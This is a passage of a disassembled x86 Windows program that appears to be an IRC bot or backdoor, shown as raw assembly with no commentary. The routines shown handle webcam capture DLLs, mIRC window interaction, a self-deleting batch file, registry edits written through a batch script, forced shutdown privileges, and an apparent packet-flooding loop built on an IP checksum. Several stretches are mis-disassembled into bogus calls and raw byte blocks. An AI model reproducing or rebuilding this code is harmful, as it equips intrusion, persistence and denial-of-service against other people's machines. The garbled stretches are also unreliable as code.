		jz	short loc_409937
		push	ds:dword_43A4AC
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h


loc_409937:				; CODE XREF: sub_40967F+28Aj
		cmp	ds:dword_43A4B0, esi
		jz	short loc_40996B
		push	ds:dword_43A4B4
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h


loc_40996B:				; CODE XREF: sub_40967F+2BEj
		lea	eax, [ebp+var_200]
		push	offset dword_4299F4
		push	eax
		call	sub_4154E9
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_409998
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_409998:				; CODE XREF: sub_40967F+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40967F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4099AA	proc near		; CODE XREF: seg000:0040DAA5p
					; seg000:0040DAD9p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_409A35
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_409A35
		cmp	[ebp+arg_8], esi
		jz	short loc_409A35
		cmp	byte ptr [eax],	0
		jz	short loc_409A35
		push	ebx
		push	edi
		call	sub_41FD7B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_409A30
		push	[ebp+arg_4]
		push	edi
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_409A29
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_416D40
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_415CF0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_416F10
		push	[ebp+arg_4]
		call	sub_415CF0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_415C10
		push	ebx
		push	edi
		call	sub_415C00
		add	esp, 30h
		mov	esi, edi


loc_409A29:				; CODE XREF: sub_4099AA+3Cj
		push	ebx
		call	sub_415E3D
		pop	ecx


loc_409A30:				; CODE XREF: sub_4099AA+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_409A37
; ---------------------------------------------------------------------------


loc_409A35:				; CODE XREF: sub_4099AA+Cj
					; sub_4099AA+13j ...
		xor	eax, eax


loc_409A37:				; CODE XREF: sub_4099AA+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4099AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A3B	proc near		; CODE XREF: sub_40CCDD+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_415570
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_415CF0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_409A71
		or	eax, 0FFFFFFFFh
		jmp	short loc_409AE4
; ---------------------------------------------------------------------------


loc_409A71:				; CODE XREF: sub_409A3B+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_409A93


loc_409A7D:				; CODE XREF: sub_409A3B+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_409A8A
		cmp	dl, 0Dh
		jnz	short loc_409A8E


loc_409A8A:				; CODE XREF: sub_409A3B+48j
		and	byte ptr [ecx+esi], 0


loc_409A8E:				; CODE XREF: sub_409A3B+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_409A7D


loc_409A93:				; CODE XREF: sub_409A3B+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_409AC4
		lea	edi, [ebp+var_7CC]


loc_409AA0:				; CODE XREF: sub_409A3B+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_409ABF
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_409ABF
		cmp	ebx, 1F4h
		jge	short loc_409AC4
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_409ABF:				; CODE XREF: sub_409A3B+69j
					; sub_409A3B+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_409AA0


loc_409AC4:				; CODE XREF: sub_409A3B+5Dj
					; sub_409A3B+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_409AE2
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_4155D0
		add	esp, 0Ch


loc_409AE2:				; CODE XREF: sub_409A3B+8Ej
		mov	eax, ebx


loc_409AE4:				; CODE XREF: sub_409A3B+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_409A3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_409AE8	proc near		; CODE XREF: sub_409B42+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_409B21
		push	ebx
		mov	ebx, edi


loc_409B05:				; CODE XREF: sub_409AE8+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_409B24
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_409B05
		pop	ebx


loc_409B21:				; CODE XREF: sub_409AE8+18j
		pop	edi
		pop	esi
		retn
sub_409AE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B24	proc near		; CODE XREF: sub_409AE8+25p
					; sub_409B42+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_417193
		cmp	al, 61h
		pop	ecx
		jl	short loc_409B3F
		cmp	al, 7Ah
		jg	short loc_409B3F
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_409B3F:				; CODE XREF: sub_409B24+Ej
					; sub_409B24+12j
		xor	eax, eax
		retn
sub_409B24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B42	proc near		; CODE XREF: sub_40B24D+10p
					; sub_40B27F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_415D70
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_415CF0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_415CF0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_409AE8
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_409B80:				; CODE XREF: sub_409B42+B6j
		test	esi, esi
		jle	short loc_409BFE
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417193
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_417193
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409BF6


loc_409BA6:				; CODE XREF: sub_409B42+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_409B24
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_409BC7
		mov	eax, ecx


loc_409BC7:				; CODE XREF: sub_409B42+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_409BFA
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417193
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_417193
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_409BA6


loc_409BF6:				; CODE XREF: sub_409B42+62j
		dec	edi
		dec	esi
		jmp	short loc_409B80
; ---------------------------------------------------------------------------


loc_409BFA:				; CODE XREF: sub_409B42+8Aj
		xor	eax, eax
		jmp	short loc_409C03
; ---------------------------------------------------------------------------


loc_409BFE:				; CODE XREF: sub_409B42+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_409C03:				; CODE XREF: sub_409B42+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409B42	endp

; ---------------------------------------------------------------------------


loc_409C08:				; CODE XREF: seg000:004109A1p
					; seg000:004115A8p
		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp-100h]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 0A80000h
		mov	al, 8Dh
		test	[eax], eax
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 80088AFFh, 57F1FF9h,	7509F980h, 0F1EB4003h, 48002080h
		dd 0FF008D8Dh, 0C13BFFFFh, 88A0C72h, 742EF980h,	21F980EBh
		dd 858DE67Ch, 0FFFFFF00h, 0B8BE5056h, 0FF0043A4h, 94680875h
		dd 6800429Bh, 200h, 0BDE0E856h,	0C4830000h, 5EC68B18h
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_409C92	proc near		; CODE XREF: seg000:00411FDCp
		push	esi
		push	0
		call	ds:dword_43A358
		test	eax, eax
		jz	short loc_409CC9
		push	1
		call	ds:dword_43A378
		mov	esi, eax
		test	esi, esi
		jz	short loc_409CC9
		push	edi
		push	esi
		call	ds:dword_4210D4	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_4210D0	; GlobalUnlock
		call	ds:dword_43A3DC
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409CC9:				; CODE XREF: sub_409C92+Bj
					; sub_409C92+19j
		xor	eax, eax
		pop	esi
		retn
sub_409C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_409CCD	proc near		; CODE XREF: seg000:00411398p
		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	ds:dword_43A394
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_409D49
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 0A80000h
		test	[esi+56h], dl
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 0A80000h
		mov	esp, 142474FFh
		mov	ebx, eax
		push	ebx
		call	sub_4154E9
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	ds:dword_43A3E4
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	ds:dword_43A3E4
		push	ebx
		call	near ptr 0A80000h
		mov	ah, 57h
		call	ds:dword_42106C	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_409D4B
; ---------------------------------------------------------------------------


loc_409D49:				; CODE XREF: sub_409CCD+16j
		xor	eax, eax


loc_409D4B:				; CODE XREF: sub_409CCD+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_409CCD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-11Ch]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	ds:dword_43A444
		test	eax, eax
		jz	short loc_409DEE
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_421078
		push	1
		lea	eax, [ebp-11Ch]
		push	80000000h
		push	eax
		call	esi ; dword_421078
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_409DEE
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	ebx
		call	near ptr 0A80000h
		db	2Eh
		push	ebx
		mov	ebx, ds:dword_42106C
		call	ebx ; dword_42106C
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	dword ptr [ebp+8]
		call	esi ; dword_421078
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409DEE
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	esi
		call	near ptr 0A80000h
		db	65h
		push	esi
		call	ebx ; dword_42106C


loc_409DEE:				; CODE XREF: seg000:00409D79j
					; seg000:00409DA0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_409DF3	proc near		; CODE XREF: seg000:0040E20Bp
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_413D69
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	ds:dword_43A2D0
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_409DF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409E15	proc near		; CODE XREF: seg000:0041225Cp

var_764		= byte ptr -764h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	ds:dword_42C180, esi
		push	edi
		jz	short loc_409E39
		cmp	ds:dword_43A458, esi
		jnz	short loc_409E39
		push	esi
		call	sub_40B3AE
		pop	ecx


loc_409E39:				; CODE XREF: sub_409E15+13j
					; sub_409E15+1Bj
		call	sub_41515E
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 0A80000h
		dec	edi
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_421078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_409F99
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		lea	eax, [ebp+var_4]


loc_409EAB:				; CODE XREF: sub_409E15+107j
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 0A80000h
		cmp	eax, 6C15FF57h
		adc	[edx+0], al
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_438FAC
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 0A80000h
		outsb
		push	eax
		call	near ptr 0A80000h
		jmp	short loc_409EAB
; ---------------------------------------------------------------------------
		dw 0A485h
		dd 50FFFFFEh, 109415FFh, 0F8830042h, 8D1274FFh,	0FFFEA485h
		dd 8068FFh, 0E8500000h,	6760C0h, 0A4858D91h, 50FFFFFEh
		dd 0FDA0858Dh, 8D50FFFFh, 0FFF89C85h, 9BD468FFh, 0E8500042h
		dd 0B589h, 8D10C483h, 0FFFC9C85h, 8D5057FFh, 0FFF89C85h
		dd 89E850FFh, 88006760h, 50EC458Dh, 50A8458Dh, 8685656h
		dd 6A000040h, 858D5601h, 0FFFFFC9Ch, 0E8565056h, 676068h
		db 6Ah
; ---------------------------------------------------------------------------


loc_409F99:				; CODE XREF: sub_409E15+72j
		pop	edi
		pop	esi
		leave
		retn
sub_409E15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409F9D	proc near		; CODE XREF: sub_40C682+31p

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_415D70
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCAb3_bat ; "c:\\ab3.bat"
		push	eax
		movsb
		call	sub_4154E9
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_421078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	short loc_40A057
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		call	near ptr 0A80000h
		not	dword ptr [edi-1]
		adc	eax, offset dword_42106C
		push	44h
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_48], edi
		mov	[ebp+var_18], si
		push	1
		pop	eax
		push	ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	esi
		push	esi
		push	28h
		mov	[ebp+var_1C], eax
		push	eax
		push	esi
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	esi
		call	near ptr 0A80000h
		cmpsb


loc_40A057:				; CODE XREF: sub_409F9D+55j
		pop	edi
		pop	esi
		leave
		retn
sub_409F9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A05B	proc near		; CODE XREF: sub_4013E9+7p
					; sub_401B7C+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_43A3C8
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A083
		push	[esp+arg_0]
		call	ds:dword_43A40C
		test	eax, eax
		jnz	short loc_40A07C
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A07C:				; CODE XREF: sub_40A05B+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A083:				; CODE XREF: sub_40A05B+Dj
		retn
sub_40A05B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A084	proc near		; CODE XREF: sub_40CB75+D6p
		mov	ecx, ds:dword_43A2B0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A092
		call	ecx ; dword_43A2B0

locret_40A092:				; CODE XREF: sub_40A084+Aj
		retn
sub_40A084	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A093	proc near		; CODE XREF: seg000:loc_411F8Ep

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	ds:dword_43A404
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A159
		sub	ecx, 32h
		jz	loc_40A152
		sub	ecx, 48h
		jz	short loc_40A0F3
		sub	ecx, 6Eh
		jz	short loc_40A0EC


loc_40A0D5:				; CODE XREF: sub_40A093+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42B410
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		jmp	short loc_40A133
; ---------------------------------------------------------------------------


loc_40A0EC:				; CODE XREF: sub_40A093+40j
		push	offset unk_42B3D8
		jmp	short loc_40A125
; ---------------------------------------------------------------------------


loc_40A0F3:				; CODE XREF: sub_40A093+3Bj
		push	[ebp+var_8]
		call	sub_415DC9
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_415570
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A120
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_43A404
		cmp	eax, edi
		jz	short loc_40A159
		jmp	short loc_40A0D5
; ---------------------------------------------------------------------------


loc_40A120:				; CODE XREF: sub_40A093+79j
		push	offset unk_42B394


loc_40A125:				; CODE XREF: sub_40A093+5Ej
					; sub_40A093+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx


loc_40A133:				; CODE XREF: sub_40A093+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40B16D
		pop	ecx


loc_40A143:				; CODE XREF: sub_40A093+C8j
					; sub_40A093+DCj
		push	esi
		call	sub_415E3D
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A152:				; CODE XREF: sub_40A093+32j
		push	offset unk_42B350
		jmp	short loc_40A125
; ---------------------------------------------------------------------------


loc_40A159:				; CODE XREF: sub_40A093+29j
					; sub_40A093+89j
		cmp	[esi], edi
		jbe	short loc_40A143
		lea	ebx, [esi+4]


loc_40A160:				; CODE XREF: sub_40A093+DAj
		push	ebx
		call	ds:dword_43A400
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A160
		jmp	short loc_40A143
sub_40A093	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A171	proc near		; CODE XREF: seg000:00401E3Ep
					; seg000:loc_40252Fp ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A32C
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43A6BC
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4154E9
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40A171	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A1CA	proc near		; CODE XREF: seg000:004012FEp
					; seg000:00401344p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40A1F3
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40A1E6:				; CODE XREF: sub_40A1CA+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40A1E6
		pop	edi
		jmp	short loc_40A1F7
; ---------------------------------------------------------------------------


loc_40A1F3:				; CODE XREF: sub_40A1CA+Aj
		mov	edx, [esp+4+arg_0]


loc_40A1F7:				; CODE XREF: sub_40A1CA+27j
		test	esi, esi
		pop	esi
		jz	short loc_40A201
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40A201:				; CODE XREF: sub_40A1CA+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40A1CA	endp

; ---------------------------------------------------------------------------


loc_40A217:				; DATA XREF: seg000:0040FB89o
		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_415D70
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	ds:dword_43A314
		mov	[ebp+8], eax
		lea	eax, [ebp-0C0h]
		push	eax
		call	ds:dword_43A3C8
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40A272
		lea	eax, [ebp-0C0h]
		push	eax
		call	ds:dword_43A40C
		cmp	eax, ebx
		jz	short loc_40A278


loc_40A272:				; CODE XREF: seg000:0040A25Fj
		cmp	dword ptr [ebp+8], 0FFFFFFFFh
		jnz	short loc_40A2D5


loc_40A278:				; CODE XREF: seg000:0040A270j
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42B494
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp-28h], ebx
		jnz	short loc_40A2B8
		push	ebx
		lea	eax, [ebp-344h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		push	dword ptr [ebp-144h]
		call	sub_412D4E
		add	esp, 14h


loc_40A2B8:				; CODE XREF: seg000:0040A296j
		lea	eax, [ebp-344h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-30h]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0A80000h
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------


loc_40A2D5:				; CODE XREF: seg000:0040A276j
		cmp	eax, ebx
		jz	short loc_40A2E5
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-4], eax
		jmp	short loc_40A2E8
; ---------------------------------------------------------------------------


loc_40A2E5:				; CODE XREF: seg000:0040A2D7j
		mov	[ebp-4], esi


loc_40A2E8:				; CODE XREF: seg000:0040A2E3j
		push	1Ch
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_415570
		or	dword ptr [ebp-18h], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp-3Ch], eax
		jle	short loc_40A308
		mov	[ebp-3Ch], eax


loc_40A308:				; CODE XREF: seg000:0040A303j
		cmp	[ebp-38h], edi
		jge	short loc_40A310
		mov	[ebp-38h], edi


loc_40A310:				; CODE XREF: seg000:0040A30Bj
		xor	esi, esi
		cmp	[ebp-40h], ebx
		jle	short loc_40A33D


loc_40A317:				; CODE XREF: seg000:0040A33Bj
		push	dword ptr [ebp-38h]
		lea	eax, [ebp-20h]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp-10320h]
		push	dword ptr [ebp-3Ch]
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+8]
		call	ds:dword_43A2AC
		inc	esi
		cmp	esi, [ebp-40h]
		jl	short loc_40A317


loc_40A33D:				; CODE XREF: seg000:0040A315j
		push	dword ptr [ebp+8]
		call	ds:dword_43A440
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42B454
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp-28h], ebx
		jnz	short loc_40A386
		push	ebx
		lea	eax, [ebp-344h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		push	dword ptr [ebp-144h]
		call	sub_412D4E
		add	esp, 14h


loc_40A386:				; CODE XREF: seg000:0040A364j
		lea	eax, [ebp-344h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-30h]
		call	sub_4152B1
		pop	ecx
		pop	ecx
